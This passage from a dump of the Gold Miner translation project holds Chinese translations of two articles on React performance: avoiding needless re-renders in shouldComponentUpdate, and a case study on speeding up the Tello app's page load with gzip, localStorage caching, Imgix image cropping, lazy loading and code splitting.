关注分离的数据结构（标准化数据）\nconst state = {\n    items: [\n        {\n            id: 5,\n            description: 'some really cool item'\n        }\n    ]\n\n    // 表示用户与系统交互的对象\n    interaction: {\n        selectedId: 5\n    }\n};\n```\n\n如果这样组织你的数据，会使得在 **shouldComponentUpdate** 中进行检查变得_困难_\n\n```javascript\nimport React, { Component, PropTypes } from 'react'\n\nclass List extends Component {\n\n    propTypes = {\n        items: PropTypes.array.isRequired,\n        iteraction: PropTypes.object.isRequired\n    }\n\n    shouldComponentUpdate (nextProps) {\n        // items 中的元素是否发生了改变？\n        if(!isArrayEqual(this.props.items, nextProps.items)) {\n            return true;\n        }\n\n        // 从这里开始事情会变的很恐怖\n\n        // 如果 interaction 没有变化，那可以返回 false （真棒！）\n        if(isObjectEqual(this.props.interaction, nextProps.interaction)) {\n            return false;\n        }\n\n        // 如果代码运行到这里，我们知道：\n        //    1. items 没有变化\n        //    2. interaction 变了\n        // 我们需要 interaction 的变化是否与我们相干\n\n        const wasItemSelected = this.props.items.any(item => {\n            return item.id === this.props.interaction.selectedId\n        })\n        const isItemSelected = nextProps.items.any(item => {\n            return item.id === nextProps.interaction.selectedId\n        })\n\n        // 如果发生了改变就返回 true\n        // 如果没有发生变化就返回 false\n        return wasItemSelected !== isItemSelected;\n    }\n\n    render() {\n        <div>\n            {this.props.items.map(item => {\n                const isSelected = this.props.interaction.selectedId === item.id;\n                return (<Item item={item} isSelected={isSelected} />);\n            })}\n        </div>\n    }\n}\n```\n\n#### 问题1：**shouldComponentUpdate** 体积庞大\n\n你可以看出一个非常简单的数据对应的 **shouldComponentUpdate** 即庞大又复杂。这是因为它需要知道数据的结构以及它们之间的关联。**shouldComponentUpdate** 函数的复杂度和体积只随着你的数据结构增长。这_很容易_导致两点错误：\n\n1.  在不应该返回 **false** 的时候返回 **false**（应用显示错误的状态）\n2.  在不应该返回 **true** 的时候返回 **true**（引发性能问题）\n\n为什么要让事情变得这么复杂？你只想让这些检查变得简单一点，以至于你根本就不必考虑它们。\n\n#### 问题2：父子级之间强耦合\n\n通常而言，应用都要推广松耦合（组件对其它的组件知道的越少越好）。父组件应该尽量避免知晓其子组件的工作原理。这就允许你改变子组件的行为而无须让父级知晓这些变化（假设 **PropsTypes** 保持不变）。它还允许子组件独立运转，而不必让父级紧密的控制其行为。\n\n#### 解决办法：**压平你的数据**\n\n通过压平（合并）你的数据结构，你可以重新使用非常简单的引用检查来看是否有什么发生了变化。\n\n```javascript\nconst state = {\n    items: [\n        {\n            id: 5,\n            description: 'some really cool item',\n\n            // interaction 现在存在于 item 的内部\n            interaction: {\n                isSelected: true\n            }\n        }\n    }\n};\n```\n\n这样组织你的数据使得在 **shouldComponentUpdate** 中做检查变得_简单_\n\n```javascript\nimport React, {Component, PropTypes} from 'react'\n\nclass List extends Component {\n\n    propTypes = {\n        items: PropTypes.array.isRequired\n    }\n\n    shouldComponentUpdate(nextProps) {\n        // so easy，麻麻再也不用担心我的更新检查了\n        return isObjectEqual(this.props, nextProps);\n    }\n\n    render() {\n        <div>\n            {this.props.items.map(item => {\n\n                return (\n                <Item item={item}\n                    isSelected={item.interaction.isSelected} />)\n            })}\n        </div>\n    }\n}\n```\n\n如果你想要更新 **interaction** 你就改变整个对象的引用\n\n```javascript\n// redux reducer\nexport default (state, action) => {\n\n    if(action.type === 'ITEM_SELECT') {\n\n        const { itemId } = action;\n\n        const items = state.items.map(item => {\n            if(item.id !== itemId) {\n                return item;\n            }\n\n            // 改变整个对象的引用\n            return {\n                ...item,\n                interaction: {\n                    isSelected: true\n                }\n            }\n        })\n\n        return {\n            ...state,\n            items\n        };\n    }\n\n    return state;\n};\n```\n\n\n## 误区：引用检查与动态 props\n\n一个创建动态 props 的例子\n\n```javascript\nclass Foo extends React.Component {\n    render() {\n        const {items} = this.props;\n\n        // 这个对象每次都有一个新的引用\n        const newData = { hello: 'world' };\n\n\n        return <Item name={name} data={newData} />\n    }\n}\n\nclass Item extends React.Component {\n\n    // 即便前后两个对象的值相同，检查也总会返回true，因为 `data` 每次都会得到一个新的引用\n    shouldComponentUpdate(nextProps) {\n        return isObjectEqual(this.props, nextProps);\n    }\n}\n```\n\n通常我们不会在组件中创建一个新的 props 把它传下来 。但是，这在循环中更为常见\n\n```javascript\nclass List exntends React.Component {\n    render() {\n        const {items} = this.props;\n\n        <div>\n            {items.map((item, index) => {\n                // 这个对象每次都会获得一个新引用\n                const newData = {\n                    hello: 'world',\n                    isFirst: index === 0\n                };\n\n\n                return <Item name={name} data={newData} />\n            })}\n        </div>\n    }\n}\n```\n\n这在创建函数时很常见\n\n```javascript\nimport myActionCreator from './my-action-creator';\n\nclass List extends React.Component {\n    render() {\n        const {items, dispatch} = this.props;\n\n        <div>\n            {items.map(item => {\n                // 这个函数的引用每次都会变\n                const callback = () => {\n                    dispatch(myActionCreator(item));\n                }\n\n                return <Item name={name} onUpdate={callback} />\n            })}\n        </div>\n    }\n}\n```\n\n#### 解决问题的策略\n\n1.  避免在组件中创建动态的 props\n\n改善你的数据模型，这样你就可以直接把 props 传下来\n\n2.  把动态 props 转化成满足全等（**===**）的类型传下来\n\neg:  \n- boolean  \n- number  \n- string\n\n```javascript\nconst bool1 = true;\nconst bool2 = true;\n\nbool1 === bool2; // true\n\nconst string1 = 'hello';\nconst string2 = 'hello';\n\nstring1 === string2; // true\n```\n\n如果你实在需要传递动态对象，那就把它当作字符串传下来，再在子级进行解构\n\n```javascript\nrender() {\n    const {items} = this.props;\n\n    <div>\n        {items.map(item => {\n            // 每次获得新引用\n            const bad = {\n                id: item.id,\n                type: item.type\n            };\n\n            // 相同的值可以满足严格的全等 '==='\n            const good = `${item.id}::${item.type}`;\n\n            return <Item identifier={good} />\n        })}\n    </div>\n}\n```\n    \n#### 特殊情况：函数\n\n1.  如果可以的话，尽量避免传递函数。相反，让子组件自由的 **dispatch** 动作。这还有个附加的好处就是把业务逻辑移出组件。\n2.  在 **shouldComponetUpdate** 中忽略函数检查。这样不是很理想，因我们不知道函数的值是否变化了。\n3.  创建一个 **data -> function** 的不可变绑定。你可以在 **componentWillReceiveProps** 函数中把它们存到 **state** 中去。这样就不会在每一次 render 时拿到新的引用。这个方法极度笨重，因为你须要维护和更新一个函数列表。\n4.  创建一个拥有正确 this 绑定的中间组件。这也不够理想，因为你在层级中引入了一个冗余层。\n5.  任何其它你能够想到的、能够避免每次 **render** 调用时创建一个新函数的方法。\n\n方案4 的示例\n\n```javascript\n// 引入另外一层 'ListItem'\n<List>\n    <ListItem> // 你可以在这里创建正确的 this 绑定\n        <Item />\n    </ListItem>\n</List>\n\nclass ListItem extends React.Component {\n\n    // 这样总能得到正确的 this 绑定，因为它绑定在了实例上\n    // 感谢 es7！\n    const callback = () => {\n        dispatch(doSomething());\n    }\n\n    render() {\n        return <Item callback={this.callback} item={this.props.item} />\n    }\n}\n```\n\n## 工具\n\n以上列出来的所有规则和技巧都是通过使用性能测量工具发现的。使用工具可以帮助你发现你的应用的具体性能问题所在。\n\n#### console.time\n\n这一个相当简单：\n\n1.  开始一个计时器\n2.  做点什么\n3.  停止计时器\n\n一个比较好的做法是使用 Redux 中间件：\n\n```javascript\nexport default store => next => action => {\n    console.time(action.type)\n\n    // `next` 是一个函数，它接收 'action' 并把它发送到 ‘reducers' 进行处理\n    // 这会导致你应有的一次重渲\n    const result = next(action);\n\n    // 渲染用了多久？\n    console.timeEnd(action.type);\n\n    return result;\n};\n```\n\n用这个方法可以记录你应用的每一个 action 和它引起的渲染所花费的时间。你可以快速知道哪些 action 渲染时间最长，这样当你解决性能问题时就可以从那里着手。拿到时间值还能帮助你判断你所做的性能优化是否奏效了。\n\n#### React.perf\n\n这个工具的思路和 **console.time** 是一致的，只不过用的是 React 的性能工具：\n\n1.  Perf.start()\n2.  do stuff\n3.  Perf.stop()\n\nRedux 中间件示例：\n\n```javascript\nimport Perf from 'react-addons-perf';\n\nexport default store => next => action => {\n    const key = `performance:${action.type}`;\n    Perf.start();\n\n    // 拿到新的 state 重渲应用\n    const result = next(action);\n    Perf.stop();\n\n    console.group(key);\n    console.info('wasted');\n    Perf.printWasted();\n    // 你可以在这里打印任何你感兴趣的 Perf 测量值\n\n    console.groupEnd(key);\n    return result;\n};\n```\n\n与 **console.time** 方法类似，它能让你看到你每一个 action 的性能指标。更多关于 React 性能 addon 的信息请点击[这里](https://facebook.github.io/react/docs/perf.html)\n\n#### 浏览器工具\n\nCPU 分析器火焰图表在寻找你的应用程序的性能问题时也能发挥作用。\n\n> 在做性能分析时，火焰图表会展示出每一毫秒你的代码的 Javascript 堆栈的状态。在记录的时候，你就可以确切地知道任意时间点执行的是哪一个函数，它执行了多久，又是谁调用了它。—— Mozilla\n\nFirefox: [点击查看](https://developer.mozilla.org/en-US/docs/Tools/Performance/Flame_Chart)\n\nChrome: [点击查看](https://addyosmani.com/blog/devtools-flame-charts/)\n\n感谢阅读，祝你顺利构建出高性能的 React 应用！\n"
  },
  {
    "path": "TODO/performance-tuning-a-react-application.md",
    "content": "> * 原文地址：[Performance-tuning a React application](https://codeburst.io/performance-tuning-a-react-application-f480f46dc1a2)\n> * 原文作者：[Joshua Comeau](https://codeburst.io/@joshuawcomeau?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/performance-tuning-a-react-application.md](https://github.com/xitu/gold-miner/blob/master/TODO/performance-tuning-a-react-application.md)\n> * 译者：[ZhangFe](https://github.com/ZhangFe)\n> * 校对者：[atuooo](https://github.com/atuooo), [jonjia](https://github.com/jonjia)\n\n# React 应用性能调优\n\n## 案例研究\n\n最近几周，我一直在为 [**Tello**](https://tello.tv) 工作，这是一个跟踪和管理电视节目的 web app：\n\n![](https://cdn-images-1.medium.com/max/800/1*UfHV4_HWAK4I_yGl0wSq0Q.png)\n\n\n作为一个 web app 来说，它的代码量是非常小的，大概只有 10,000 行。这是一个基于 Webpack 的 React/Redux 应用，有一个比较轻量的后端 Node 服务(基于 Express 和 MongoDB)。我们 90% 的代码都在前端。在 [**Github**](https://github.com/joshwcomeau/Tello) 上你可以看到我们的源码。\n\n前端性能可以从很多角度来考量。但是从历史角度来看，我更注重于页面加载后的一些点：比如确保滚动的连贯性，以及动画的流畅性。\n\n相比之下，我对于页面加载时间的关注比较少，至少在一些小型项目上是这样的。毕竟它并不需要传输太多的代码；它肯定是很快就能被访问并使用的，对吧？\n\n然而，当我做了一些基准测试后，我惊奇地发现我这个 10k 行代码的小应用在 3G 网络下竟如此的**慢~~**，大约 5s 后才能显示一些有意义的内容，并且需要 **15s** 才能解决所有的网络请求。\n\n我意识到我得在这个问题上投入一些时间和精力。如果人们需要盯着一个空白的屏幕看 5s 的话，那我的动画做的再漂亮也没用了。\n\n总而言之，我在这周末尝试了 6 种技术，并且现在只需要 2300ms 左右就可以在页面上展示一些有意义的内容了 —— 减少了大约 50% 的时间！\n\n这篇博客是我尝试的具体技术的研究案例以及他们的工作情况，更广泛地来说，这里记录了我在解决问题时所学到的知识，以及我在提出解决方案时的一些思路。\n\n### 方法论\n\n所有的分析都使用了相同的设置：\n\n*   “Fast 3G” 的网速。\n*   桌面端分辨率。\n*   禁止 HTTP 缓存。\n*   已登录，并且这个账户关注了 16 个电视节目。\n\n### 基准值\n\n我们需要一个可以用来比较结果的基准值！\n\n我们测试的页面是主登录页的摘要视图，这是数据量最大的页面，因此它也有最大的优化空间\n\n这个摘要部分就像下面这样包含了一组卡片：\n\n![](https://cdn-images-1.medium.com/max/800/1*cag88WlFXxx_I452R5PEUA.png)\n\n每个节目都有自己的卡片，并且每一集都有自己的一个小方块，蓝色的方块意味着这一集已经被观看了。\n\n这是我们在 3G 网络下做基准测试的 profile 视图，看起来性能就不怎么样。\n\n![](https://cdn-images-1.medium.com/max/800/1*116YOrGo-_hRvGUjMCieSA.png)\n\n首次有效渲染：~5000ms\n首张图片加载：~6500ms\n所有请求结束：>15,000ms\n\n天哪，直到 5s 左右页面才展示了一些有意义的内容。第一张图片在 6.5s 左右的时候加载完成，所有的网络请求足足花了 15s 才结束。\n\n这个时间线视图提供了一系列的内容。让我们仔细研究一下这之间究竟发生了什么：\n\n1. 首先，最初的 HTML 被加载。因为我们的应用不是服务端渲染的，这部分非常的快。\n2. 之后，开始下载整个 JS bundle。这部分花费了很久的时间。🚩\n3. JS下载完后，React 开始遍历组件树，计算初始化时挂载的状态，并且将它推送到 DOM 上。这部分有一个 header，一个 footer，和一大片的黑色区域。🚩\n4. 挂载 DOM 后，这个应用发现它还需要一些数据，因此它向 _/me_ 发起了一个 GET 请求来获取用户数据，以及他们关心的节目列表和看过的剧集。\n5. 一旦我们拿到了关键的节目列表，就可以开始请求下面的内容：\n\t- 每个节目的图片\n\t- 每个节目的剧集列表\n\n这些数据都来自 TV Maze 的 [**API**](https://www.tvmaze.com/api)。\n\n> * 你可能会想为什么我不在我的数据库里存储这些剧集信息呢，这样我就不需要调用 TV Maze 的接口了。其实原因主要是 TV Maze 的数据更加真实；它有所有新的剧集的信息。当然，我也可以在第四步的时候在服务端上拉取这些数据，可是这会增加这一步的响应时间，如此一来用户就只能盯着一大片空白的黑色区域了。另外，我喜欢比较轻量的服务端。\n> \n> 还有一个可行方法就是设置一个定时任务，每天都去同步 TV Maze 的数据，并且只在我没有最新数据的时候才会去拉取。不过我还是喜欢实时的数据，因此这个方案一直都没有实施。\n\n### 一次明显的提升\n\n目前来看，最大的瓶颈就是初始的 JS bundle 体积太大了，下载它耗费了太多的时间。\n\nbundle 的体积有 526kb，而且目前它还没有被压缩，我们需要使用 Gzip 来解救它。\n\n通过 Node/Express 的服务端很容易实现 Gzip；我们只需要安装 [**compression**](https://www.npmjs.com/package/compression) 模块并将它作为一个 Express 中间件使用就可以了。\n\n```\nconst path = require('path');\n\nconst express = require('express');\nconst compression = require('compression');\n\n\nconst app = express();\n\n// 只需要将 compression 作为一个 Express 中间件!\napp.use(compression());\n\napp.use(express.static(path.join(rootDir, 'build')));\n```\n\n通过使用这个非常简单的解决方案，让我们看看我们的时间线有什么变化：\n\n![](https://cdn-images-1.medium.com/max/800/1*N1pczEBknaQ_P6u-1S_FQw.png)\n\n首次有效渲染：5000ms -> **3100ms**\n首张图片加载：6500ms -> **4600ms\n**所有数据加载完成：6500ms -> **4750ms\n**所有图片加载完成：~15,000ms -> ~13,000ms\n\n代码体积从 526kb 压缩到只有 156kb，并且它对页面加载速度造成了巨大的变化。\n\n### 使用 LocalStorage 缓存\n\n带着前一步的明显进步，我又回过头来看了下时间线。首次渲染时在 2400ms 时触发的，但这次并没有什么意义。3100 ms 时才真正有内容展示，但是直到 5000ms 左右才获取到所有的剧集数据。\n\n我开始考虑使用服务端渲染，但是这也解决不了问题。服务端仍需要调用数据库，然后调用 TV Maze 的 API。更糟糕的是，在这段时间里用户只能傻盯着白花花的屏幕。\n\n如果使用 local-storage 呢？我们可以把所有的状态变更都存储到浏览器上，并在用户数据返回的时候对这个本地状态进行补充。首屏的数据可能是旧的，但是没关系！真实的数据很快就能加载回来，并且这会使得首次加载的体验非常快。\n\n因为这个 app 使用了 Redux，所以持久化数据是非常简单的。首先，我们需要一个方案来保证 Redux 状态变化时更新 localStorage：\n\n```\nimport { LOCAL_STORAGE_REDUX_DATA_KEY } from '../constants';\nimport { debounce } from '../utils'; // generic debounce util\n\n// 当我们的页面首次加载时，一堆 redux actions 会迅速被 dispatch\n// 每个节目都要获取它们的剧集，所以最小的 action 数量是 2n (n 是节目的数量)\n// 我们不需要太过于频繁的更新 localStorage，可以对他做 debounce\n// 如果传入 null，我们会抹去数据，通常用来在登录登出时消除持久状态\nconst updateLocalStorage = debounce(\n  value =>\n    value !== null\n      ? localStorage.setItem(LOCAL_STORAGE_REDUX_DATA_KEY, value)\n      : localStorage.removeItem(LOCAL_STORAGE_REDUX_DATA_KEY),\n  2500\n);\n\n\n// store 更新时，将相关部分存储到 localStorage 中\nexport const handleStoreUpdates = function handleStoreUpdates(store) {\n  // 忽略 modals 和 flash 消息，他们不需要被存储\n  const { modals, flash, ...relevantState} = store.getState();\n\n  updateLocalStorage(JSON.stringify(relevantState));\n}\n\n// 在退出登录时用来清除数据的一个函数\nexport const clearReduxData = () => {\n  // 立即清除存储在 localStorage 中的数据\n  window.localStorage.removeItem(LOCAL_STORAGE_REDUX_DATA_KEY);\n\n\n  // 因为删除是同步的，而持久化数据是异步的，因此这里会导致一个微妙的 bug：\n  // 存储的数据会被删除，但是稍后又会被填充上\n  // 为了解决这个问题，我们会传入一个 null，来终止当前队列所有的更新\n \n  updateLocalStorage(null);\n  \n  // 我们需要触发异步和同步的操作。\n  // 同步操作保证数据可以立刻被删除，所以如果用户点击退出后立刻关闭页面，数据也能被删除\n};\n```\n\n下一步，我们需要让 Redux store 订阅这个函数，以及用前一次会话的数据对它进行初始化。\n\n```\nimport { LOCAL_STORAGE_REDUX_DATA_KEY } from './constants';\nimport { handleStoreUpdates } from './helpers/local-storage.helpers';\nimport configureStore from './store';\n\n\nconst localState = JSON.parse(\n  localStorage.getItem(LOCAL_STORAGE_REDUX_DATA_KEY) || '{}'\n);\n\nconst store = configureStore(history, localState);\n\nstore.subscribe(() => {\n  handleStoreUpdates(store);\n});\n```\n\n虽然还有几个遗留的小问题，但是得益于 Redux 架构，我们只做了一些很小的改动就完成了大部分的功能。\n\n让我们再来看看新的时间线：\n\n![](https://cdn-images-1.medium.com/max/800/1*wJ6uOFLCWUmhMpKtB7XuYw.png)\n\n棒极了！虽然通过这些很小的截屏很难说明什么，但是我们在 2600ms 时的那次渲染已经可以展示一些内容了；它包括一个完整的节目列表以及从之前的会话里保存的剧集信息。\n\n首次有效渲染：3100ms -> **2600ms\n**获取剧集数据：4750ms -> **2600ms (!)**\n\n虽然这并没有影响到实际的加载时间（我们仍然需要调用哪些 API，并且在这上面耗时），但是用户可以直接拿到数据，所以**感知**速度的提升非常明显。\n\n在内容已经出现的情况下，页面仍在继续变化，这是一种非常流行的技术，可以让页面更快地展现，并且当新的内容可用时，页面发生更新。可是我更喜欢立即呈现最终的 UI。\n\n这个方案在一些 non-perf 的情况下有一些额外的优势。举个例子，用户可以更改节目的顺序，但可能由于会话的结束导致数据丢失了。现在，当他们返回页面时，之前的偏好还是被保存了下来！\n\n> 但是，这也有一个缺点：我不清楚你是否在等待新的数据加载。我计划在角落里添加一个加载框以显示是否还有其他请求正在加载。\n\n> 另外，你可能会想“这对于老用户来说可能不错，但是对于新用户并没有什么用处！”。你说的没错，但实际上，这也确实不适用于新用户。新用户并没有关注的节目，只有一个引导他们添加节目的提示，因此他们的页面加载的非常快。所以，对于所有的用户来说，不管是新用户还是老用户，我们都已经有效避免了那种一直盯着黑屏的体验。\n\n### 图片和懒加载\n\n即使有了这个最新的改进，图片的加载仍然花费了很多的时间。这个时间线里没有展示出来，但是在 3G 网络下，所有的图片加载一共耗费了超过 12 秒。\n\n原因很简单：TV Maze 返回了一张巨大的电影海报风格的照片，然而我只需要一个狭长的条状图，用于帮助用户一眼就能分辨出节目。\n\n![](https://cdn-images-1.medium.com/max/800/1*wIhn8j9QkPIBvxAA6ulTxQ.jpeg)\n\n**左边**：被下载的图片 ················ **右边**：真正用到的图片\n\n为了解决这个问题，我一开始的想法是使用一个类似于 ImageMagick 的 CLI 工具，我在制作 [**ColourMatch**](http://colourmatch.ca/) 时使用过它。\n\n当用户添加一个新的节目时，服务端将请求一个图片的副本，使用 ImageMagick 将图片的中间裁剪出来并发送给 S3，然后客户端会使用 S3 的 url 而非 TV Maze 的图片链接。\n\n不过，我决定使用 [**Imgix**](https://www.imgix.com/) 来完成这个功能。Imgix 是一个基于 S3(或者其他云存储提供商) 的图片服务，它允许你动态创建裁剪过或者调整了大小的图片。你只需要使用下面这样的链接，它就会创建并提供合适的图片。\n\n```\nhttps://tello.imgix.net/some_file?w=395&h=96&crop=faces\n```\n\n> 它还有一个优势就是能够找到图片中有趣的区域并做裁剪。你会注意到，在上面的左/右照片对比中，它将 4 个骑车的孩子裁剪了出来，而非仅仅裁剪出图片的中心\n\n为了配合 Imgix 的工作，你的图片需要能够通过 S3 或者类似的服务被获取到。这里是一段我的后端代码片段，当添加一个新的节目时会上传一张图片：\n\n```\nconst ROOT_URL = 'https://tello.imgix.net';\n\nconst uploadImage = ({ key, url }) => (\n  new Promise((resolve, reject) => {\n    // 有些情况下节目没有一个链接，这时候跳过这种情况\n    if (!url) {\n      resolve();\n      return;\n    }\n\n    request({ url, encoding: null }, (err, res, body) => {\n      if (err) {\n        reject(err);\n      }\n\n      s3.putObject({\n        Key: key,\n        Bucket: BUCKET_NAME,\n        Body: body,\n      }, (...args) => {\n        resolve(`${ROOT_URL}/${key}`);\n      });\n    });\n  })\n);\n```\n\n\n通过对每个新的节目调用这个 Promise，我们获取了可以被动态裁剪的图片。\n\n在客户端，我们使用 _srcset_ 和 _sizes_ 这两个图片属性来确保图片是基于窗口大小和像素比来提供的：\n\n```\nconst dpr = window.devicePixelRatio;\n\nconst defaultImage = 'https://tello.imgix.net/placeholder.jpg';\n\nconst buildImageUrl = ({ image, width, height }) => (`\n  ${image || defaultImage}?fit=crop&crop=entropy&h=${height}&w=${width}&dpr=${dpr} ${width * dpr}w\n`);\n\n\n// Later, in a render method:\n<img\n  srcSet={`\n    ${buildImageUrl({\n      image,\n      width: 495,\n      height: 128,\n    })},\n    ${buildImageUrl({\n      image,\n      width: 334,\n      height: 96,\n    })}\n  `}\n  sizes={`\n    ${BREAKPOINTS.smMin} 334px,\n    495px\n  `}\n/>\n```\n\n这确保了移动设备能获取更大版本的图像（因为这些卡片占据了整个视口的宽度），而桌面客户端得到的是一个较小的版本。\n\n#### 懒加载\n\n现在，每张图片都变小了，但是我们还是一次性加载了整个页面的图片！在我的大型桌面窗口上，每次只能看到 6 个节目，但是我们在页面加载的时候一次性获取了全部的 16 张图片。\n\n值得庆幸的是，有一个很棒的库 [**react-lazyload**](https://github.com/jasonslyvia/react-lazyload) 提供了非常便利的懒加载功能。代码示例如下：\n\n```\nimport LazyLoad from 'react-lazyload';\n\n// In some render method somewhere:\n<LazyLoad once height={UNITS_IN_PX[6]} offset={50}>\n  <img\n    srcSet={`...omitted`}\n    sizes={`...omitted`}\n  />\n</LazyLoad>\n```\n\n来吧，让我们再来看看时间线。\n\n![](https://cdn-images-1.medium.com/max/800/1*YLyKF1rKx1MMaLA-1jnZrg.png)\n\n我们的首次有效渲染时间没什么变化，但是图片加载的时间有了明显的降低：\n\n首张图片：4600ms -> **3900ms**\n所有可见范围内的图片：~9000ms -> **4100ms**\n\n> 眼尖的读者可能已经注意到了，这个时间线上只下载了 6 集的数据而不是全部的 16集。因为我最初的尝试（也是我记忆中唯一一个尝试）就是懒加载节目卡片，而并不仅仅是懒加载图片。\n\n> 不过，相比我这周末解决的问题，它也引发了更多的问题，因此我对它进行了一些简化。但是这并不会影响图片加载时间的优化。\n\n### 代码分割\n\n我敢肯定，代码分割是一个非常明智的决定。\n\n因为现在有一个显而易见的问题，我们的代码 bundle 只有一个。让我们使用代码分割来减少一个请求所需要的代码量！\n\n我使用的路由方案是 React Router 4，[**它的文档上**](https://reacttraining.com/react-router/web/guides/code-splitting)有一个很简单的创建 `<Bundle />` 组件的例子。我设置了几个不同的配置，但是最终代码并没有比较有效的分割。\n\n最后，我将移动端和桌面端的视图做了分离。移动版有自己的视图，它使用了一个滑动库，一些自定义的静态资源和几个额外的组件。令人吃惊的是，这个分离出来的 bundle 非常的小 —— 压缩前大概只有 30kb —— 但是它还是带来了一些显著的影响：\n\n![](https://cdn-images-1.medium.com/max/800/1*0eWlF3VGsWLqHulZtLzkDQ.png)\n\n首次有效渲染：2600ms -> **2300ms**\n首张图片加载：3900ms -> **3700ms**\n\n> 通过这次尝试让我学到了一件事：代码分割的效果很大程度上取决于你的应用类型。在我这个 case 里，最大的依赖就是 React 和它生态系统里的一些库，然而这些代码是整站都需要的并且不需要被分离出来\n>\n> 在页面加载时，我们可以在路由层面对组件进行分割以获得一些边际效益，但是这样的话，每当路由变化时都会造成额外的延迟；处处都要处理这种小问题并不有趣。\n\n* * *\n\n### 一些其他方法的尝试和思考\n#### 服务端渲染\n\n我的想法是在服务端渲染一个 \"shell\" —— 一个有正确布局的占位图，只是没有数据。\n\n但是我预见到一个问题，因为客户端已经通过 localStorage 获取前一次会话的数据了，并且它使用这个数据进行了初始化。但是此时服务端是不知情的，所以我需要处理客户端与服务器之间的标记不匹配。\n\n我认为虽然我可以通过 SSR 将我的首次有效渲染时间减少半秒，但是在那时整个网站都是不能交互的；当一个网站看起来已经准备好了但其实不是的时候，让人觉得非常奇怪。\n\n另外，SSR 也会增加复杂性，并且降低开发速度。性能很重要，但是足够好就够了。\n\n有一个我很感兴趣但是没时间研究的问题是 —— 编译时 SSR。它可能这只适用于一些静态页面，比如登出页，但是我觉得它是非常有效的。作为我构建过程的一部分，我会创建并持久化存储 `index.html`，并通过 Node 服务器将它作为一个纯 HTML 文件提供给用户。客户端仍然会下载并运行 React，因此页面仍然是可交互的，但是服务端不需要花时间去构建了，因为我已经在代码部署时直接将这些页面构建好了。\n\n#### CDN 的依赖\n\n还有一个我认为有很大潜力的想法就是将 React 和 ReactDOM 托管到 CDN 上。\n\nWebpack 使得这很容易实现；你可以通过定义 _externals_ 关键字避免将它们打包到你的 bundle 中。\n\n```\n// webpack.config.prod.js\n{\n  externals: {\n    react: 'React',\n    'react-dom': 'ReactDOM',\n  },\n}\n```\n\n这种方法有两个优势：\n\n* 从 CDN 获取一个流行的库，它有很大可能已经被用户缓存了\n* 依赖关系可以被并行化，可以同时下载你的代码，而不是下载一个大文件\n\n我很惊讶的发现，至少在 CDN 未缓存的最坏情况下，将 React 移到 CDN 上并没有什么益处：\n\n![](https://cdn-images-1.medium.com/max/800/1*JaujId8Or-HOxLuJGcKWSw.png)\n\n首次有效渲染时间：**2300ms** -> 2650ms\n\n你可能会发现 React 和 React DOM 是和我的主要软件包并行下载的，并且它确实拖慢了整体的时间。\n\n> 我并不是想说使用 CDN 是一个坏主意。在这方面我并不是很专业并且很可能是我做错了，而不是这个想法的问题！至少在我的 case 里它并没有生效。\n\t\n> 译者注：\n> 这里将 React 放在 CDN 上的方案，在本地无缓存的情况下很明显没什么优势，因为你的总代码体积不会减少，你的带宽没有变化，JS是并行下载但是串行执行，所以总的下载时间和执行时间并不会有什么优势；反而由于 http 建立链接的损耗可能会减慢速度，这也是我们说要尽可能减少 http 请求的原因；而且由于是本地测试，CDN 的优势可能并没有体现。\n> 但是我觉得这种方案还是可取的，主要有两点：1. 因为有 CDN，可以保证大部分人的下载速度，而放在你的服务器上其实由于传输的问题很多人下载会非常慢；2. 由于将 React 相关的库抽离，后续每次更改代码和发布后这部分代码都是走的缓存，可以减少后续用户的加载时间\n* * *\n\n###结论\n\n通过这篇文章，我希望传达出两个观点：\n\n1. 小型程序的开箱即用性非常高，但是一个周末就可以带来一个巨大的提升。这要感谢 Chrome 开发者工具，它可以帮你快速确认项目的瓶颈，并且让你惊讶的发现项目里有如此多的性能洼地。也可以将一些复杂的任务交给像 Imgix 这样的低成本或者免费的服务商。\n2. 每个应用都是不同的，这篇文章详细介绍了 Tello 的一些技巧，但是这些技巧的关注点比较特别。即使这些技巧不适用于你的应用，但我希望我已经把理念表达清楚了：性能取决于 web 开发者的创造性。\n\n\n举个例子，在一些传统的观念看来，服务端渲染是一个必经之路。但是我在的应用里，基于 local-storage 或者 service-workers 来做前端渲染则是一个更好的选择！也许你可以在编译时做一些工作，减少 SSR 的耗时，又或者学习 Netflix，[完全不将 React 传递给前端](https://jakearchibald.com/2017/netflix-and-react/)！\n\t\n\t当你做性能优化时，你会发现这非常需要创造力和开阔的思路，而这也是它最有趣的地方。\n\n> 非常感谢您的阅读！我希望这篇文章能给您带来帮助:)。如果您有什么想法可以联系我的\n[Twitter](http://twitter.com/joshwcomeau) 。\n\n> **可以在** [**Github**](https://github.com/joshwcomeau/Tello) **上查看 Tello 的源码****🌟**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/permissions-part-1.md",
